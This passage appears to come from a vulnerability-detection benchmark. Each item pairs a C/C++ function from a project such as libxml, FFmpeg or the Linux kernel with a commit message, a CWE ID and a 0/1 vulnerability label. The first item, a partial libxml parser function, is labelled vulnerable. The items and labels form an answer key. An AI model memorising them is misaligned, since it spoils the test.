= ctxt->input->length - (ctxt->input->cur - ctxt->input->base); else avail = ctxt->input->buf->buffer->use - (ctxt->input->cur - ctxt->input->base); if (avail < 2) goto done; cur = ctxt->input->cur[0]; next = ctxt->input->cur[1]; if ((cur == '<') && (next == '?')) { if ((!terminate) && (xmlParseLookupSequence(ctxt, '?', '>', 0) < 0)) goto done; #ifdef DEBUG_PUSH xmlGenericError(xmlGenericErrorContext, "PP: Parsing PI\n"); #endif xmlParsePI(ctxt); } else if ((cur == '<') && (next == '!') && (ctxt->input->cur[2] == '-') && (ctxt->input->cur[3] == '-')) { if ((!terminate) && (xmlParseLookupSequence(ctxt, '-', '-', '>') < 0)) goto done; #ifdef DEBUG_PUSH xmlGenericError(xmlGenericErrorContext, "PP: Parsing Comment\n"); #endif xmlParseComment(ctxt); ctxt->instate = XML_PARSER_PROLOG; } else if ((cur == '<') && (next == '!') && (avail < 4)) { goto done; } else { ctxt->instate = XML_PARSER_START_TAG; if (ctxt->progressive == 0) ctxt->progressive = 1; xmlParseGetLasts(ctxt, &lastlt, &lastgt); #ifdef DEBUG_PUSH xmlGenericError(xmlGenericErrorContext, "PP: entering START_TAG\n"); #endif } break; case XML_PARSER_EPILOG: SKIP_BLANKS; if (ctxt->input->buf == NULL) avail = ctxt->input->length - (ctxt->input->cur - ctxt->input->base); else avail = ctxt->input->buf->buffer->use - (ctxt->input->cur - ctxt->input->base); if (avail < 2) goto done; cur = ctxt->input->cur[0]; next = ctxt->input->cur[1]; if ((cur == '<') && (next == '?')) { if ((!terminate) && (xmlParseLookupSequence(ctxt, '?', '>', 0) < 0)) goto done; #ifdef DEBUG_PUSH xmlGenericError(xmlGenericErrorContext, "PP: Parsing PI\n"); #endif xmlParsePI(ctxt); ctxt->instate = XML_PARSER_EPILOG; } else if ((cur == '<') && (next == '!') && (ctxt->input->cur[2] == '-') && (ctxt->input->cur[3] == '-')) { if ((!terminate) && (xmlParseLookupSequence(ctxt, '-', '-', '>') < 0)) goto done; #ifdef DEBUG_PUSH xmlGenericError(xmlGenericErrorContext, "PP: Parsing Comment\n"); #endif xmlParseComment(ctxt); ctxt->instate = XML_PARSER_EPILOG; } else if ((cur == '<') && (next == '!') && (avail < 4)) { goto done; } else { xmlFatalErr(ctxt, XML_ERR_DOCUMENT_END, NULL); ctxt->instate = XML_PARSER_EOF; #ifdef DEBUG_PUSH xmlGenericError(xmlGenericErrorContext, "PP: entering EOF\n"); #endif if ((ctxt->sax) && (ctxt->sax->endDocument != NULL)) ctxt->sax->endDocument(ctxt->userData); goto done; } break; case XML_PARSER_DTD: { /* * Sorry but progressive parsing of the internal subset * is not expected to be supported. We first check that * the full content of the internal subset is available and * the parsing is launched only at that point. * Internal subset ends up with "']' S? '>'" in an unescaped * section and not in a ']]>' sequence which are conditional * sections (whoever argued to keep that crap in XML deserve * a place in hell !). */ int base, i; xmlChar *buf; xmlChar quote = 0; base = ctxt->input->cur - ctxt->input->base; if (base < 0) return(0); if (ctxt->checkIndex > base) base = ctxt->checkIndex; buf = ctxt->input->buf->buffer->content; for (;(unsigned int) base < ctxt->input->buf->buffer->use; base++) { if (quote != 0) { if (buf[base] == quote) quote = 0; continue; } if ((quote == 0) && (buf[base] == '<')) { int found = 0; /* special handling of comments */ if (((unsigned int) base + 4 < ctxt->input->buf->buffer->use) && (buf[base + 1] == '!') && (buf[base + 2] == '-') && (buf[base + 3] == '-')) { for (;(unsigned int) base + 3 < ctxt->input->buf->buffer->use; base++) { if ((buf[base] == '-') && (buf[base + 1] == '-') && (buf[base + 2] == '>')) { found = 1; base += 2; break; } } if (!found) { #if 0 fprintf(stderr, "unfinished comment\n"); #endif break; /* for */ } continue; } } if (buf[base] == '"') { quote = '"'; continue; } if (buf[base] == '\'') { quote = '\''; continue; } if (buf[base] == ']') { #if 0 fprintf(stderr, "%c%c%c%c: ", buf[base], buf[base + 1], buf[base + 2], buf[base + 3]); #endif if ((unsigned int) base +1 >= ctxt->input->buf->buffer->use) break; if (buf[base + 1] == ']') { /* conditional crap, skip both ']' ! */ base++; continue; } for (i = 1; (unsigned int) base + i < ctxt->input->buf->buffer->use; i++) { if (buf[base + i] == '>') { #if 0 fprintf(stderr, "found\n"); #endif goto found_end_int_subset; } if (!IS_BLANK_CH(buf[base + i])) { #if 0 fprintf(stderr, "not found\n"); #endif goto not_end_of_int_subset; } } #if 0 fprintf(stderr, "end of stream\n"); #endif break; } not_end_of_int_subset: continue; /* for */ } /* * We didn't found the end of the Internal subset */ #ifdef DEBUG_PUSH if (next == 0) xmlGenericError(xmlGenericErrorContext, "PP: lookup of int subset end filed\n"); #endif goto done; found_end_int_subset: xmlParseInternalSubset(ctxt); ctxt->inSubset = 2; if ((ctxt->sax != NULL) && (!ctxt->disableSAX) && (ctxt->sax->externalSubset != NULL)) ctxt->sax->externalSubset(ctxt->userData, ctxt->intSubName, ctxt->extSubSystem, ctxt->extSubURI); ctxt->inSubset = 0; xmlCleanSpecialAttr(ctxt); ctxt->instate = XML_PARSER_PROLOG; ctxt->checkIndex = 0; #ifdef DEBUG_PUSH xmlGenericError(xmlGenericErrorContext, "PP: entering PROLOG\n"); #endif break; } case XML_PARSER_COMMENT: xmlGenericError(xmlGenericErrorContext, "PP: internal error, state == COMMENT\n"); ctxt->instate = XML_PARSER_CONTENT; #ifdef DEBUG_PUSH xmlGenericError(xmlGenericErrorContext, "PP: entering CONTENT\n"); #endif break; case XML_PARSER_IGNORE: xmlGenericError(xmlGenericErrorContext, "PP: internal error, state == IGNORE"); ctxt->instate = XML_PARSER_DTD; #ifdef DEBUG_PUSH xmlGenericError(xmlGenericErrorContext, "PP: entering DTD\n"); #endif break; case XML_PARSER_PI: xmlGenericError(xmlGenericErrorContext, "PP: internal error, state == PI\n"); ctxt->instate = XML_PARSER_CONTENT; #ifdef DEBUG_PUSH xmlGenericError(xmlGenericErrorContext, "PP: entering CONTENT\n"); #endif break; case XML_PARSER_ENTITY_DECL: xmlGenericError(xmlGenericErrorContext, "PP: internal error, state == ENTITY_DECL\n"); ctxt->instate = XML_PARSER_DTD; #ifdef DEBUG_PUSH xmlGenericError(xmlGenericErrorContext, "PP: entering DTD\n"); #endif break; case XML_PARSER_ENTITY_VALUE: xmlGenericError(xmlGenericErrorContext, "PP: internal error, state == ENTITY_VALUE\n"); ctxt->instate = XML_PARSER_CONTENT; #ifdef DEBUG_PUSH xmlGenericError(xmlGenericErrorContext, "PP: entering DTD\n"); #endif break; case XML_PARSER_ATTRIBUTE_VALUE: xmlGenericError(xmlGenericErrorContext, "PP: internal error, state == ATTRIBUTE_VALUE\n"); ctxt->instate = XML_PARSER_START_TAG; #ifdef DEBUG_PUSH xmlGenericError(xmlGenericErrorContext, "PP: entering START_TAG\n"); #endif break; case XML_PARSER_SYSTEM_LITERAL: xmlGenericError(xmlGenericErrorContext, "PP: internal error, state == SYSTEM_LITERAL\n"); ctxt->instate = XML_PARSER_START_TAG; #ifdef DEBUG_PUSH xmlGenericError(xmlGenericErrorContext, "PP: entering START_TAG\n"); #endif break; case XML_PARSER_PUBLIC_LITERAL: xmlGenericError(xmlGenericErrorContext, "PP: internal error, state == PUBLIC_LITERAL\n"); ctxt->instate = XML_PARSER_START_TAG; #ifdef DEBUG_PUSH xmlGenericError(xmlGenericErrorContext, "PP: entering START_TAG\n"); #endif break; } } done: #ifdef DEBUG_PUSH xmlGenericError(xmlGenericErrorContext, "PP: done %d\n", ret); #endif return(ret); encoding_error: { char buffer[150]; snprintf(buffer, 149, "Bytes: 0x%02X 0x%02X 0x%02X 0x%02X\n", ctxt->input->cur[0], ctxt->input->cur[1], ctxt->input->cur[2], ctxt->input->cur[3]); __xmlErrEncoding(ctxt, XML_ERR_INVALID_CHAR, "Input is not proper UTF-8, indicate encoding !\n%s", BAD_CAST buffer, NULL); } return(0); } Commit Message: libxml: XML_PARSER_EOF checks from upstream BUG=229019 TBR=cpu Review URL: https://chromiumcodereview.appspot.com/14053009 git-svn-id: svn://svn.chromium.org/chrome/trunk/src@196804 0039d316-1c4b-4281-b951-d872f2087c98 CWE ID: CWE-119
1
171,307
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
Code: static int decompress_i(AVCodecContext *avctx, uint32_t *dst, int linesize) { SCPRContext *s = avctx->priv_data; GetByteContext *gb = &s->gb; int cx = 0, cx1 = 0, k = 0, clr = 0; int run, r, g, b, off, y = 0, x = 0, z, ret; unsigned backstep = linesize - avctx->width; const int cxshift = s->cxshift; unsigned lx, ly, ptype; reinit_tables(s); bytestream2_skip(gb, 2); init_rangecoder(&s->rc, gb); while (k < avctx->width + 1) { ret = decode_unit(s, &s->pixel_model[0][cx + cx1], 400, &r); if (ret < 0) return ret; cx1 = (cx << 6) & 0xFC0; cx = r >> cxshift; ret = decode_unit(s, &s->pixel_model[1][cx + cx1], 400, &g); if (ret < 0) return ret; cx1 = (cx << 6) & 0xFC0; cx = g >> cxshift; ret = decode_unit(s, &s->pixel_model[2][cx + cx1], 400, &b); if (ret < 0) return ret; cx1 = (cx << 6) & 0xFC0; cx = b >> cxshift; ret = decode_value(s, s->run_model[0], 256, 400, &run); if (ret < 0) return ret; clr = (b << 16) + (g << 8) + r; k += run; while (run-- > 0) { if (y >= avctx->height) return AVERROR_INVALIDDATA; dst[y * linesize + x] = clr; lx = x; ly = y; x++; if (x >= avctx->width) { x = 0; y++; } } } off = -linesize - 1; ptype = 0; while (x < avctx->width && y < avctx->height) { ret = decode_value(s, s->op_model[ptype], 6, 1000, &ptype); if (ret < 0) return ret; if (ptype == 0) { ret = decode_unit(s, &s->pixel_model[0][cx + cx1], 400, &r); if (ret < 0) return ret; cx1 = (cx << 6) & 0xFC0; cx = r >> cxshift; ret = decode_unit(s, &s->pixel_model[1][cx + cx1], 400, &g); if (ret < 0) return ret; cx1 = (cx << 6) & 0xFC0; cx = g >> cxshift; ret = decode_unit(s, &s->pixel_model[2][cx + cx1], 400, &b); if (ret < 0) return ret; clr = (b << 16) + (g << 8) + r; } if (ptype > 5) return AVERROR_INVALIDDATA; ret = decode_value(s, s->run_model[ptype], 256, 400, &run); if (ret < 0) return ret; switch (ptype) { case 0: while (run-- > 0) { if (y >= avctx->height) return AVERROR_INVALIDDATA; dst[y * linesize + x] = clr; lx = x; ly = y; x++; if (x >= avctx->width) { x = 0; y++; } } break; case 1: while (run-- > 0) { if (y >= avctx->height) return AVERROR_INVALIDDATA; dst[y * linesize + x] = dst[ly * linesize + lx]; lx = x; ly = y; x++; if (x >= avctx->width) { x = 0; y++; } } clr = dst[ly * linesize + lx]; break; case 2: while (run-- > 0) { if (y < 1 || y >= avctx->height) return AVERROR_INVALIDDATA; clr = dst[y * linesize + x + off + 1]; dst[y * linesize + x] = clr; lx = x; ly = y; x++; if (x >= avctx->width) { x = 0; y++; } } break; case 4: while (run-- > 0) { uint8_t *odst = (uint8_t *)dst; if (y < 1 || y >= avctx->height || (y == 1 && x == 0)) return AVERROR_INVALIDDATA; if (x == 0) { z = backstep; } else { z = 0; } r = odst[(ly * linesize + lx) * 4] + odst[((y * linesize + x) + off - z) * 4 + 4] - odst[((y * linesize + x) + off - z) * 4]; g = odst[(ly * linesize + lx) * 4 + 1] + odst[((y * linesize + x) + off - z) * 4 + 5] - odst[((y * linesize + x) + off - z) * 4 + 1]; b = odst[(ly * linesize + lx) * 4 + 2] + odst[((y * linesize + x) + off - z) * 4 + 6] - odst[((y * linesize + x) + off - z) * 4 + 2]; clr = ((b & 0xFF) << 16) + ((g & 0xFF) << 8) + (r & 0xFF); dst[y * linesize + x] = clr; lx = x; ly = y; x++; if (x >= avctx->width) { x = 0; y++; } } break; case 5: while (run-- > 0) { if (y < 1 || y >= avctx->height || (y == 1 && x == 0)) return AVERROR_INVALIDDATA; if (x == 0) { z = backstep; } else { z = 0; } clr = dst[y * linesize + x + off - z]; dst[y * linesize + x] = clr; lx = x; ly = y; x++; if (x >= avctx->width) { x = 0; y++; } } break; } if (avctx->bits_per_coded_sample == 16) { cx1 = (clr & 0x3F00) >> 2; cx = (clr & 0xFFFFFF) >> 16; } else { cx1 = (clr & 0xFC00) >> 4; cx = (clr & 0xFFFFFF) >> 18; } } return 0; } Commit Message: avcodec/scpr: Fix multiple runtime error: index 256 out of bounds for type 'unsigned int [256]' Fixes: 1519/clusterfuzz-testcase-minimized-5286680976162816 Found-by: continuous fuzzing process https://github.com/google/oss-fuzz/tree/master/targets/ffmpeg Signed-off-by: Michael Niedermayer <michael@niedermayer.cc> CWE ID: CWE-119
0
95,318
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
Code: int dev_addr_del(struct net_device *dev, unsigned char *addr, unsigned char addr_type) { int err; struct netdev_hw_addr *ha; ASSERT_RTNL(); /* * We can not remove the first address from the list because * dev->dev_addr points to that. */ ha = list_first_entry(&dev->dev_addrs.list, struct netdev_hw_addr, list); if (ha->addr == dev->dev_addr && ha->refcount == 1) return -ENOENT; err = __hw_addr_del(&dev->dev_addrs, addr, dev->addr_len, addr_type); if (!err) call_netdevice_notifiers(NETDEV_CHANGEADDR, dev); return err; } Commit Message: veth: Dont kfree_skb() after dev_forward_skb() In case of congestion, netif_rx() frees the skb, so we must assume dev_forward_skb() also consume skb. Bug introduced by commit 445409602c092 (veth: move loopback logic to common location) We must change dev_forward_skb() to always consume skb, and veth to not double free it. Bug report : http://marc.info/?l=linux-netdev&m=127310770900442&w=3 Reported-by: Martín Ferrari <martin.ferrari@gmail.com> Signed-off-by: Eric Dumazet <eric.dumazet@gmail.com> Signed-off-by: David S. Miller <davem@davemloft.net> CWE ID: CWE-399
0
32,091
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
Code: static void ActivityLoggingAccessForAllWorldsMethodMethod(const v8::FunctionCallbackInfo<v8::Value>& info) { TestObject* impl = V8TestObject::ToImpl(info.Holder()); impl->activityLoggingAccessForAllWorldsMethod(); } Commit Message: bindings: Support "attribute FrozenArray<T>?" Adds a quick hack to support a case of "attribute FrozenArray<T>?". Bug: 1028047 Change-Id: Ib3cecc4beb6bcc0fb0dbc667aca595454cc90c86 Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/1933866 Reviewed-by: Hitoshi Yoshida <peria@chromium.org> Commit-Queue: Yuki Shiino <yukishiino@chromium.org> Cr-Commit-Position: refs/heads/master@{#718676} CWE ID:
0
134,469
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
Code: int stb_vorbis_seek_frame(stb_vorbis *f, unsigned int sample_number) { uint32 max_frame_samples; if (IS_PUSH_MODE(f)) return error(f, VORBIS_invalid_api_mixing); if (!seek_to_sample_coarse(f, sample_number)) return 0; assert(f->current_loc_valid); assert(f->current_loc <= sample_number); max_frame_samples = (f->blocksize_1*3 - f->blocksize_0) >> 2; while (f->current_loc < sample_number) { int left_start, left_end, right_start, right_end, mode, frame_samples; if (!peek_decode_initial(f, &left_start, &left_end, &right_start, &right_end, &mode)) return error(f, VORBIS_seek_failed); frame_samples = right_start - left_start; if (f->current_loc + frame_samples > sample_number) { return 1; // the next frame will contain the sample } else if (f->current_loc + frame_samples + max_frame_samples > sample_number) { vorbis_pump_first_frame(f); } else { f->current_loc += frame_samples; f->previous_length = 0; maybe_start_packet(f); flush_packet(f); } } assert(f->current_loc == sample_number); return 1; } Commit Message: fix unchecked length in stb_vorbis that could crash on corrupt/invalid files CWE ID: CWE-119
0
75,324
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
Code: virtual void willSendRequest(WebFrame* frame, unsigned, WebURLRequest& request, const WebURLResponse&) { m_policy = request.cachePolicy(); m_willSendRequestCallCount++; } Commit Message: Revert 162155 "This review merges the two existing page serializ..." Change r162155 broke the world even though it was landed using the CQ. > This review merges the two existing page serializers, WebPageSerializerImpl and > PageSerializer, into one, PageSerializer. In addition to this it moves all > the old tests from WebPageNewSerializerTest and WebPageSerializerTest to the > PageSerializerTest structure and splits out one test for MHTML into a new > MHTMLTest file. > > Saving as 'Webpage, Complete', 'Webpage, HTML Only' and as MHTML when the > 'Save Page as MHTML' flag is enabled now uses the same code, and should thus > have the same feature set. Meaning that both modes now should be a bit better. > > Detailed list of changes: > > - PageSerializerTest: Prepare for more DTD test > - PageSerializerTest: Remove now unneccesary input image test > - PageSerializerTest: Remove unused WebPageSerializer/Impl code > - PageSerializerTest: Move data URI morph test > - PageSerializerTest: Move data URI test > - PageSerializerTest: Move namespace test > - PageSerializerTest: Move SVG Image test > - MHTMLTest: Move MHTML specific test to own test file > - PageSerializerTest: Delete duplicate XML header test > - PageSerializerTest: Move blank frame test > - PageSerializerTest: Move CSS test > - PageSerializerTest: Add frameset/frame test > - PageSerializerTest: Move old iframe test > - PageSerializerTest: Move old elements test > - Use PageSerizer for saving web pages > - PageSerializerTest: Test for rewriting links > - PageSerializer: Add rewrite link accumulator > - PageSerializer: Serialize images in iframes/frames src > - PageSerializer: XHTML fix for meta tags > - PageSerializer: Add presentation CSS > - PageSerializer: Rename out parameter > > BUG= > R=abarth@chromium.org > > Review URL: https://codereview.chromium.org/68613003 TBR=tiger@opera.com Review URL: https://codereview.chromium.org/73673003 git-svn-id: svn://svn.chromium.org/blink/trunk@162156 bbb929c8-8fbe-4397-9dbb-9b2b20218538 CWE ID: CWE-119
0
118,922
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
Code: randomize(void *pv, size_t size) { static png_uint_32 random_seed[2] = {0x56789abc, 0xd}; make_random_bytes(random_seed, pv, size); } Commit Message: DO NOT MERGE Update libpng to 1.6.20 BUG:23265085 Change-Id: I85199805636d771f3597b691b63bc0bf46084833 (cherry picked from commit bbe98b40cda082024b669fa508931042eed18f82) CWE ID:
0
160,025
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
Code: static int vmci_transport_shutdown(struct vsock_sock *vsk, int mode) { return vmci_transport_send_control_pkt( &vsk->sk, VMCI_TRANSPORT_PACKET_TYPE_SHUTDOWN, 0, mode, NULL, VSOCK_PROTO_INVALID, VMCI_INVALID_HANDLE); } Commit Message: VSOCK: vmci - fix possible info leak in vmci_transport_dgram_dequeue() In case we received no data on the call to skb_recv_datagram(), i.e. skb->data is NULL, vmci_transport_dgram_dequeue() will return with 0 without updating msg_namelen leading to net/socket.c leaking the local, uninitialized sockaddr_storage variable to userland -- 128 bytes of kernel stack memory. Fix this by moving the already existing msg_namelen assignment a few lines above. Cc: Andy King <acking@vmware.com> Cc: Dmitry Torokhov <dtor@vmware.com> Cc: George Zhang <georgezhang@vmware.com> Signed-off-by: Mathias Krause <minipli@googlemail.com> Signed-off-by: David S. Miller <davem@davemloft.net> CWE ID: CWE-200
0
30,436
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
Code: parse_traffic(char *buf, int len, char *port, uint64_t *traffic) { char *data = get_data(buf, len); char error_buf[512]; json_settings settings = { 0 }; if (data == NULL) { LOGE("No data found"); return -1; } json_value *obj = json_parse_ex(&settings, data, strlen(data), error_buf); if (obj == NULL) { LOGE("%s", error_buf); return -1; } if (obj->type == json_object) { int i = 0; for (i = 0; i < obj->u.object.length; i++) { char *name = obj->u.object.values[i].name; json_value *value = obj->u.object.values[i].value; if (value->type == json_integer) { strncpy(port, name, 8); *traffic = value->u.integer; } } } json_value_free(obj); return 0; } Commit Message: Fix #1734 CWE ID: CWE-78
0
60,322
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
Code: void WebContentsImpl::DidFailLoadWithError( RenderFrameHostImpl* render_frame_host, const GURL& url, int error_code, const base::string16& error_description, bool was_ignored_by_handler) { for (auto& observer : observers_) { observer.DidFailLoad(render_frame_host, url, error_code, error_description, was_ignored_by_handler); } } Commit Message: If JavaScript shows a dialog, cause the page to lose fullscreen. BUG=670135, 550017, 726761, 728276 Review-Url: https://codereview.chromium.org/2906133004 Cr-Commit-Position: refs/heads/master@{#478884} CWE ID: CWE-20
0
135,667
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
Code: void BrowserWindowGtk::InvalidateWindow() { GtkAllocation allocation; gtk_widget_get_allocation(GTK_WIDGET(window_), &allocation); gdk_window_invalidate_rect(gtk_widget_get_window(GTK_WIDGET(window_)), &allocation, TRUE); } Commit Message: Remove TabContents from TabStripModelObserver::TabDetachedAt. BUG=107201 TEST=no visible change Review URL: https://chromiumcodereview.appspot.com/11293205 git-svn-id: svn://svn.chromium.org/chrome/trunk/src@167122 0039d316-1c4b-4281-b951-d872f2087c98 CWE ID: CWE-20
0
117,956
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
Code: static inline CompressionType ConvertPSDCompression( PSDCompressionType compression) { switch (compression) { case RLE: return RLECompression; case ZipWithPrediction: case ZipWithoutPrediction: return ZipCompression; default: return NoCompression; } } Commit Message: https://github.com/ImageMagick/ImageMagick/issues/714 CWE ID: CWE-834
0
61,499
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
Code: static int cbc_des_encrypt(struct blkcipher_desc *desc, struct scatterlist *dst, struct scatterlist *src, unsigned int nbytes) { struct blkcipher_walk walk; blkcipher_walk_init(&walk, dst, src, nbytes); return cbc_desall_crypt(desc, KMC_DEA_ENCRYPT, &walk); } Commit Message: crypto: prefix module autoloading with "crypto-" This prefixes all crypto module loading with "crypto-" so we never run the risk of exposing module auto-loading to userspace via a crypto API, as demonstrated by Mathias Krause: https://lkml.org/lkml/2013/3/4/70 Signed-off-by: Kees Cook <keescook@chromium.org> Signed-off-by: Herbert Xu <herbert@gondor.apana.org.au> CWE ID: CWE-264
0
46,688
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
Code: bool JSFloat64ArrayPrototype::getOwnPropertySlot(JSCell* cell, ExecState* exec, const Identifier& propertyName, PropertySlot& slot) { JSFloat64ArrayPrototype* thisObject = jsCast<JSFloat64ArrayPrototype*>(cell); return getStaticFunctionSlot<JSObject>(exec, getJSFloat64ArrayPrototypeTable(exec), thisObject, propertyName, slot); } Commit Message: [JSC] Implement a helper method createNotEnoughArgumentsError() https://bugs.webkit.org/show_bug.cgi?id=85102 Reviewed by Geoffrey Garen. In bug 84787, kbr@ requested to avoid hard-coding createTypeError(exec, "Not enough arguments") here and there. This patch implements createNotEnoughArgumentsError(exec) and uses it in JSC bindings. c.f. a corresponding bug for V8 bindings is bug 85097. Source/JavaScriptCore: * runtime/Error.cpp: (JSC::createNotEnoughArgumentsError): (JSC): * runtime/Error.h: (JSC): Source/WebCore: Test: bindings/scripts/test/TestObj.idl * bindings/scripts/CodeGeneratorJS.pm: Modified as described above. (GenerateArgumentsCountCheck): * bindings/js/JSDataViewCustom.cpp: Ditto. (WebCore::getDataViewMember): (WebCore::setDataViewMember): * bindings/js/JSDeprecatedPeerConnectionCustom.cpp: (WebCore::JSDeprecatedPeerConnectionConstructor::constructJSDeprecatedPeerConnection): * bindings/js/JSDirectoryEntryCustom.cpp: (WebCore::JSDirectoryEntry::getFile): (WebCore::JSDirectoryEntry::getDirectory): * bindings/js/JSSharedWorkerCustom.cpp: (WebCore::JSSharedWorkerConstructor::constructJSSharedWorker): * bindings/js/JSWebKitMutationObserverCustom.cpp: (WebCore::JSWebKitMutationObserverConstructor::constructJSWebKitMutationObserver): (WebCore::JSWebKitMutationObserver::observe): * bindings/js/JSWorkerCustom.cpp: (WebCore::JSWorkerConstructor::constructJSWorker): * bindings/scripts/test/JS/JSFloat64Array.cpp: Updated run-bindings-tests. (WebCore::jsFloat64ArrayPrototypeFunctionFoo): * bindings/scripts/test/JS/JSTestActiveDOMObject.cpp: (WebCore::jsTestActiveDOMObjectPrototypeFunctionExcitingFunction): (WebCore::jsTestActiveDOMObjectPrototypeFunctionPostMessage): * bindings/scripts/test/JS/JSTestCustomNamedGetter.cpp: (WebCore::jsTestCustomNamedGetterPrototypeFunctionAnotherFunction): * bindings/scripts/test/JS/JSTestEventTarget.cpp: (WebCore::jsTestEventTargetPrototypeFunctionItem): (WebCore::jsTestEventTargetPrototypeFunctionAddEventListener): (WebCore::jsTestEventTargetPrototypeFunctionRemoveEventListener): (WebCore::jsTestEventTargetPrototypeFunctionDispatchEvent): * bindings/scripts/test/JS/JSTestInterface.cpp: (WebCore::JSTestInterfaceConstructor::constructJSTestInterface): (WebCore::jsTestInterfacePrototypeFunctionSupplementalMethod2): * bindings/scripts/test/JS/JSTestMediaQueryListListener.cpp: (WebCore::jsTestMediaQueryListListenerPrototypeFunctionMethod): * bindings/scripts/test/JS/JSTestNamedConstructor.cpp: (WebCore::JSTestNamedConstructorNamedConstructor::constructJSTestNamedConstructor): * bindings/scripts/test/JS/JSTestObj.cpp: (WebCore::JSTestObjConstructor::constructJSTestObj): (WebCore::jsTestObjPrototypeFunctionVoidMethodWithArgs): (WebCore::jsTestObjPrototypeFunctionIntMethodWithArgs): (WebCore::jsTestObjPrototypeFunctionObjMethodWithArgs): (WebCore::jsTestObjPrototypeFunctionMethodWithSequenceArg): (WebCore::jsTestObjPrototypeFunctionMethodReturningSequence): (WebCore::jsTestObjPrototypeFunctionMethodThatRequiresAllArgsAndThrows): (WebCore::jsTestObjPrototypeFunctionSerializedValue): (WebCore::jsTestObjPrototypeFunctionIdbKey): (WebCore::jsTestObjPrototypeFunctionOptionsObject): (WebCore::jsTestObjPrototypeFunctionAddEventListener): (WebCore::jsTestObjPrototypeFunctionRemoveEventListener): (WebCore::jsTestObjPrototypeFunctionMethodWithNonOptionalArgAndOptionalArg): (WebCore::jsTestObjPrototypeFunctionMethodWithNonOptionalArgAndTwoOptionalArgs): (WebCore::jsTestObjPrototypeFunctionMethodWithCallbackArg): (WebCore::jsTestObjPrototypeFunctionMethodWithNonCallbackArgAndCallbackArg): (WebCore::jsTestObjPrototypeFunctionOverloadedMethod1): (WebCore::jsTestObjPrototypeFunctionOverloadedMethod2): (WebCore::jsTestObjPrototypeFunctionOverloadedMethod3): (WebCore::jsTestObjPrototypeFunctionOverloadedMethod4): (WebCore::jsTestObjPrototypeFunctionOverloadedMethod5): (WebCore::jsTestObjPrototypeFunctionOverloadedMethod6): (WebCore::jsTestObjPrototypeFunctionOverloadedMethod7): (WebCore::jsTestObjConstructorFunctionClassMethod2): (WebCore::jsTestObjConstructorFunctionOverloadedMethod11): (WebCore::jsTestObjConstructorFunctionOverloadedMethod12): (WebCore::jsTestObjPrototypeFunctionMethodWithUnsignedLongArray): (WebCore::jsTestObjPrototypeFunctionConvert1): (WebCore::jsTestObjPrototypeFunctionConvert2): (WebCore::jsTestObjPrototypeFunctionConvert3): (WebCore::jsTestObjPrototypeFunctionConvert4): (WebCore::jsTestObjPrototypeFunctionConvert5): (WebCore::jsTestObjPrototypeFunctionStrictFunction): * bindings/scripts/test/JS/JSTestSerializedScriptValueInterface.cpp: (WebCore::JSTestSerializedScriptValueInterfaceConstructor::constructJSTestSerializedScriptValueInterface): (WebCore::jsTestSerializedScriptValueInterfacePrototypeFunctionAcceptTransferList): git-svn-id: svn://svn.chromium.org/blink/trunk@115536 bbb929c8-8fbe-4397-9dbb-9b2b20218538 CWE ID: CWE-20
0
101,046
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
Code: static inline uint8_t read_u8(const unsigned char *buffer, size_t *pos) { return buffer[(*pos)++]; } Commit Message: list-objects: pass full pathname to callbacks When we find a blob at "a/b/c", we currently pass this to our show_object_fn callbacks as two components: "a/b/" and "c". Callbacks which want the full value then call path_name(), which concatenates the two. But this is an inefficient interface; the path is a strbuf, and we could simply append "c" to it temporarily, then roll back the length, without creating a new copy. So we could improve this by teaching the callsites of path_name() this trick (and there are only 3). But we can also notice that no callback actually cares about the broken-down representation, and simply pass each callback the full path "a/b/c" as a string. The callback code becomes even simpler, then, as we do not have to worry about freeing an allocated buffer, nor rolling back our modification to the strbuf. This is theoretically less efficient, as some callbacks would not bother to format the final path component. But in practice this is not measurable. Since we use the same strbuf over and over, our work to grow it is amortized, and we really only pay to memcpy a few bytes. Signed-off-by: Jeff King <peff@peff.net> Signed-off-by: Junio C Hamano <gitster@pobox.com> CWE ID: CWE-119
0
54,939
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
Code: static inline void sched_init_numa(void) { } Commit Message: sched: Fix information leak in sys_sched_getattr() We're copying the on-stack structure to userspace, but forgot to give the right number of bytes to copy. This allows the calling process to obtain up to PAGE_SIZE bytes from the stack (and possibly adjacent kernel memory). This fix copies only as much as we actually have on the stack (attr->size defaults to the size of the struct) and leaves the rest of the userspace-provided buffer untouched. Found using kmemcheck + trinity. Fixes: d50dde5a10f30 ("sched: Add new scheduler syscalls to support an extended scheduling parameters ABI") Cc: Dario Faggioli <raistlin@linux.it> Cc: Juri Lelli <juri.lelli@gmail.com> Cc: Ingo Molnar <mingo@kernel.org> Signed-off-by: Vegard Nossum <vegard.nossum@oracle.com> Signed-off-by: Peter Zijlstra <peterz@infradead.org> Link: http://lkml.kernel.org/r/1392585857-10725-1-git-send-email-vegard.nossum@oracle.com Signed-off-by: Thomas Gleixner <tglx@linutronix.de> CWE ID: CWE-200
0
58,203
